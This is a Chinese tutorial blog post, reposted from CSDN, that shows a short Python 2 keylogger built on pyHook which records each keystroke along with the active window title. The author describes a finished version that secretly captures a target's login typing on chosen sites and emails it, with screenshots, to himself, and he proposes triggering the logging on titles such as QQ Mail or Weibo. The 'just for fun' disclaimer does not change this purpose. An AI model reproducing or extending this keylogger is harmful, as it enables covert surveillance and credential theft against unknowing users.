20行代码用python实现一个钩子 - Go语言中文社区

20行代码用python实现一个钩子


最近在玩键盘监控,于是有了这么一个文章,鄙人做成的成品是获取到某某人在某某网登录的时候(仅限某某网)会把字符串跟截图统统发到鄙人邮箱,当然只是做着玩的,大家不要想去干坏事哈!以下的图是成品:

(成品图)

今天我们就简单的写一下钩子的实现,后面的文章鄙人抽空也可以写一写。当然发邮箱这档子事,我前面的文章也写了,没看的伙计可以去我号里找找。

环境配置:

操作系统:windows7

Python版本:2.7.14

关键库:pyHook/email/pywin32

在这里还是要推荐下我自己建的Python开发学习群:483546416,群里都是学Python开发的,如果你正在学习Python ,小编欢迎你加入,大家都是软件开发党,不定期分享干货(只有Python软件开发相关的),包括我自己整理的一份2018最新的Python进阶资料和高级开发教程,欢迎进阶中和进想深入Python的小伙伴

注:没有安装的请自行安装,安装教程这里就不多啰嗦,安装一个pip全自动~

pyHook:

PyHook是一个基于Python的“钩子”库,主要用于监听当前电脑上鼠标和键盘的事件。这个库依赖于另一个Python库PyWin32,如同名字所显示的,PyWin32只能运行在Windows平台,所以PyHook也只能运行在Windows平台。

多了咱不多啰嗦,直接上代码(附加注释):

(代码详细注释)

运行效果:

(运行效果)

我们可以发现,一切都非常顺利。

当然,我们可以开动大脑,比如说通过判断获取浏览器的title标签的敏感字符。比如说QQ邮箱、网易游戏、微博等敏感字符,然后发现以上的敏感字符后再进行键盘记录。记录完成后顺便生成截图,通过邮箱发送给自己。

如果大家感兴趣,鄙人后面的文章会详细的分享一下实现过程,大家可以关注一下。

以上的观点完全是自己闹着玩,学习黑客hook,严谨用于违法犯罪!

下面附上本篇文章的代码:

# -*- coding: utf-8 -*- #

from ctypes import *

import pyHook

import pythoncom

print('start hook...')

def onKeyboardEvent(event):

print('--------------------------------------------')

windowTitle = create_string_buffer(512)

windll.user32.GetWindowTextA(event.Window,byref(windowTitle),512)

windowName = windowTitle.value.decode('GBK')

print "windowName: " + windowName

print "code: " + chr(event.Ascii)

return True

hm = pyHook.HookManager()

hm.KeyDown = onKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

版权声明:本文来源CSDN,感谢博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/qq_41597912/article/details/80022230
站方申明:本站部分内容来自社区用户分享,若涉及侵权,请联系站方删除。
  • 发表于 2020-04-18 20:42:13
  • 阅读 ( 808 )
  • 分类:

0 条评论

请先 登录 后评论

官方社群

GO教程

猜你喜欢